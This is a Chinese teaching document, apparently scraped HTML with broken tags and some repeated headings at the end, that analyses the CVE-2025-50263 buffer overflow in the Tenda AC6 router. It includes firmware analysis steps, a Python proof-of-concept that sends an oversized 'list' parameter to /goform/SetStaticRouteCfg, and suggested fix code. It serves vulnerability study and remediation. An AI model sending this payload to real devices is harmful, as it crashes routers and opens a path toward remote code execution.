Tenda AC6路由器CVE-2025-50263缓冲区溢出漏洞分析与利用教学文档<\/h1>

1. 漏洞概述<\/h2>

1.1 基本信息<\/h3>

漏洞名称<\/strong>: Tenda AC6缓冲区溢出漏洞<\/li>
漏洞编号<\/strong>: CVE-2025-50263<\/li>
漏洞类型<\/strong>: 缓冲区溢出<\/li>
威胁等级<\/strong>: 高危<\/li>
影响版本<\/strong>: Tenda AC6 v15.03.05.16_multi<\/li>

固件下载<\/strong>: https:\/\/www.tenda.com.cn\/material\/show\/2661<\/li> <\/ul>
1.2 漏洞位置<\/h3>
漏洞存在于fromSetRouteStatic<\/code>函数中，通过list<\/code>参数触发缓冲区溢出。<\/p>
2. 环境准备与漏洞挖掘方法<\/h2> 2.1 固件分析环境搭建<\/h3> 使用binwalk等工具解压固件文件<\/li> 获取squashfs-root文件系统<\/li> 准备QEMU模拟环境进行动态分析<\/li> <\/ol> 2.2 漏洞挖掘流程<\/h3> 2.2.1 查找Web服务<\/h4> # 在squashfs-root目录中搜索httpd相关文件<\/span> <\/span><\/span>find . -name "*httpd*"<\/span> <\/span><\/span><\/code><\/pre> 通常发现两个文件：httpd<\/code>（生产版本）和dhttpd<\/code>（开发版本）<\/li> httpd是路由器暴露在网络上的Web服务<\/li> <\/ul> 2.2.2 分析启动流程<\/h4> 查看\/etc_ro\/init.d\/rcS<\/code>启动脚本：<\/p> cp -rf .\/webroot_ro\/* .\/webroot\/ <\/span><\/span><\/code><\/pre>此命令将webroot_ro目录内容复制到webroot，为模拟环境做准备。<\/p> 2.2.3 使用EMBA进行自动化扫描<\/h4> sudo .\/emba -l .\/logs\/TendaAC_6 -f \/path\/to\/squashfs-root <\/span><\/span><\/code><\/pre>EMBA工具可识别危险函数调用，如：<\/p> fprintf: 56次调用（可能存在格式字符串漏洞）<\/li> mmap: 1次调用（需要检查错误处理）<\/li> <\/ul> 3. 漏洞原理深度分析<\/h2> 3.1 漏洞函数调用链<\/h3> sub_42240（初始化函数） ↓ sub_16F24（注册回调函数） ↓ 注册路径：goform\/SetStaticRouteCfg → fromSetRouteStatic ↓ fromSetRouteStatic（漏洞函数） ↓ sub_2B7C4（获取list参数） → sub_77EC8（处理数据） <\/code><\/pre> 3.2 关键漏洞点分析<\/h3> 3.2.1 fromSetRouteStatic函数漏洞<\/h4> \/\/ 伪代码表示漏洞逻辑 <\/span><\/span><\/span><\/span>int<\/span> fromSetRouteStatic<\/span>(int<\/span> a1) { <\/span><\/span> v5 =<\/span> sub_2B7C4(a1, "list"<\/span>, &<\/span>unk_E2118); \/\/ 获取用户输入的list参数 <\/span><\/span><\/span><\/span> \/\/ 缺少对v5的边界检查！ <\/span><\/span><\/span><\/span> v1 =<\/span> sub_77EC8("adv.staticroute"<\/span>, v5, 126<\/span>); \/\/ 直接使用未验证的v5 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>3.2.2 sub_2B7C4函数中的sscanf问题<\/h4> \/\/ 不安全的sscanf使用 <\/span><\/span><\/span><\/span>sscanf(input_data, format, buffer); <\/span><\/span>\/\/ 未指定读取长度限制，可能导致缓冲区溢出 <\/span><\/span><\/span><\/code><\/pre>3.3 具体漏洞机制<\/h3> 输入验证缺失<\/strong>: sub_2B7C4<\/code>函数返回用户控制的字符串，但未进行充分验证<\/li> 边界检查缺失<\/strong>: fromSetRouteStatic<\/code>中直接使用strcpy(s, src)<\/code>，未检查缓冲区大小<\/li> 危险函数使用<\/strong>: 使用不安全的字符串处理函数（sscanf、strcpy等）<\/li> <\/ol> 4. 漏洞利用实践<\/h2> 4.1 环境配置<\/h3> 使用QEMU模拟：qemu-arm-static<\/code><\/li> 设置虚拟网桥：br0<\/code><\/li> 目标IP：192.168.100.2<\/code><\/li> <\/ul> 4.2 PoC代码<\/h3> import<\/span> requests <\/span><\/span> <\/span><\/span>url =<\/span> "http:\/\/192.168.100.2\/goform\/SetStaticRouteCfg"<\/span> <\/span><\/span>data =<\/span> { <\/span><\/span> "list"<\/span>: 'a'<\/span> *<\/span> 1000<\/span> # 构造超长payload触发溢出<\/span> <\/span><\/span>} <\/span><\/span> <\/span><\/span>try<\/span>: <\/span><\/span> response =<\/span> requests.<\/span>get(url, params=<\/span>data) <\/span><\/span> print(response.<\/span>text) <\/span><\/span>except<\/span> Exception<\/span> as<\/span> e: <\/span><\/span> print(f<\/span>"连接错误: <\/span>{<\/span>e}<\/span>"<\/span>) <\/span><\/span><\/code><\/pre>4.3 漏洞验证<\/h3> 执行PoC后，目标系统出现：<\/p> Segmentation fault (core dumped) <\/code><\/pre> 表明成功触发缓冲区溢出，程序异常退出。<\/p> 4.4 流量分析<\/h3> 使用Wireshark捕获网络流量：<\/p> 过滤条件：http && ip.addr == 192.168.100.2<\/code><\/li> 观察HTTP请求中list<\/code>参数的长度和内容<\/li> <\/ul> 5. 漏洞修复方案<\/h2> 5.1 安全编码实践<\/h3> 5.1.1 输入验证加强<\/h4> int<\/span> __fastcall<\/span> fromSetRouteStatic<\/span>(int<\/span> a1) { <\/span><\/span> \/\/ 添加指针有效性检查 <\/span><\/span><\/span><\/span> v5 =<\/span> sub_2B7C4(a1, "list"<\/span>, &<\/span>unk_E2118); <\/span><\/span> if<\/span> (!<\/span>v5) { <\/span><\/span> v6 =<\/span> 1<\/span>; <\/span><\/span> goto<\/span> response; <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 添加长度验证 <\/span><\/span><\/span><\/span> if<\/span> (strlen(v5) >=<\/span> MAX_BUFFER_SIZE) { <\/span><\/span> \/\/ 处理错误情况 <\/span><\/span><\/span><\/span> return<\/span> ERROR_INVALID_INPUT; <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>5.1.2 使用安全函数替代<\/h4> \/\/ 使用strncpy代替strcpy <\/span><\/span><\/span><\/span>strncpy(dest, src, dest_size -<\/span> 1<\/span>); <\/span><\/span>dest[dest_size -<\/span> 1<\/span>] =<\/span> '\0'<\/span>; <\/span><\/span> <\/span><\/span>\/\/ 使用snprintf代替sprintf <\/span><\/span><\/span><\/span>snprintf(buffer, sizeof<\/span>(buffer), "format"<\/span>, args); <\/span><\/span> <\/span><\/span>\/\/ 使用sscanf时指定最大长度 <\/span><\/span><\/span><\/span>sscanf(input, "%511s"<\/span>, buffer); \/\/ 限制读取511字符 <\/span><\/span><\/span><\/code><\/pre>5.2 具体修复代码<\/h3> int<\/span> __fastcall<\/span> fromSetRouteStatic<\/span>(int<\/span> a1) { <\/span><\/span> char<\/span> buffer[512<\/span>]; \/\/ 明确定义缓冲区大小 <\/span><\/span><\/span><\/span> <\/span><\/span> v5 =<\/span> sub_2B7C4(a1, "list"<\/span>, &<\/span>unk_E2118); <\/span><\/span> if<\/span> (!<\/span>v5) { <\/span><\/span> v6 =<\/span> 1<\/span>; <\/span><\/span> goto<\/span> response; <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 安全的数据复制 <\/span><\/span><\/span><\/span> strncpy(buffer, v5, sizeof<\/span>(buffer) -<\/span> 1<\/span>); <\/span><\/span> buffer[sizeof<\/span>(buffer) -<\/span> 1<\/span>] =<\/span> '\0'<\/span>; <\/span><\/span> <\/span><\/span> \/\/ 安全调用 <\/span><\/span><\/span><\/span> v1 =<\/span> sub_77EC8("adv.staticroute"<\/span>, buffer, sizeof<\/span>(buffer)); <\/span><\/span> if<\/span> (v1 &&<\/span> CommitCom(v1)) { <\/span><\/span> snprintf(s, sizeof<\/span>(s), "advance_type=%d"<\/span>, 8<\/span>); <\/span><\/span> send_msg_to_netctrl(5<\/span>, s); <\/span><\/span> } else<\/span> { <\/span><\/span> v6 =<\/span> 1<\/span>; <\/span><\/span> } <\/span><\/span> <\/span><\/span>response: <\/span><\/span> \/\/ 响应处理代码 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>5.3 防御措施建议<\/h3> 代码审计<\/strong>: 定期检查所有使用字符串处理函数的代码<\/li> 边界检查<\/strong>: 在所有数据拷贝操作前验证缓冲区大小<\/li> 安全函数<\/strong>: 强制使用安全版本的标准库函数<\/li> 输入过滤<\/strong>: 对用户输入进行严格的长度和内容验证<\/li> <\/ol> 6. 总结与延伸<\/h2> 6.1 漏洞利用关键点<\/h3> 漏洞触发URL: \/goform\/SetStaticRouteCfg<\/code><\/li> 恶意参数: list<\/code>（长度超过512字节）<\/li> 利用效果: 导致服务崩溃，潜在远程代码执行<\/li> <\/ul> 6.2 学习要点<\/h3> IoT设备安全分析流程<\/strong>: 从固件提取到漏洞验证的完整过程<\/li> 缓冲区溢出原理<\/strong>: 理解内存操作不当导致的安全问题<\/li> 漏洞挖掘技巧<\/strong>: 结合静态分析和动态测试的方法<\/li> 安全开发实践<\/strong>: 如何编写安全的嵌入式设备代码<\/li> <\/ol> 6.3 参考资料<\/h3> 原始漏洞分析: https:\/\/github.com\/faqiadegege\/IoTVuln\/blob\/main\/tendaAC6_SetStaticRouteCfg_list_overflow\/detail.md<\/li> 相关工具: binwalk、QEMU、EMBA、IDA Pro、Wireshark<\/li> <\/ul> 通过本教学文档，学习者可以全面理解CVE-2025-50263漏洞的技术细节，掌握IoT设备漏洞分析的基本方法，并了解如何预防类似安全问题的发生。<\/p>

Tenda AC6路由器CVE-2025-50263缓冲区溢出漏洞分析与利用教学文档<\/h1>

1. 漏洞概述<\/h2>

1.2 漏洞位置<\/h3> 漏洞存在于fromSetRouteStatic<\/code>函数中，通过list<\/code>参数触发缓冲区溢出。<\/p>

2.2 漏洞挖掘流程<\/h3>

3. 漏洞原理深度分析<\/h2>

3.2 关键漏洞点分析<\/h3>

4. 漏洞利用实践<\/h2>

5. 漏洞修复方案<\/h2>

5.1 安全编码实践<\/h3>

6. 总结与延伸<\/h2>

1.2 漏洞位置<\/h3>
漏洞存在于`fromSetRouteStatic<\/code>函数中，通过list<\/code>参数触发缓冲区溢出。<\/p>`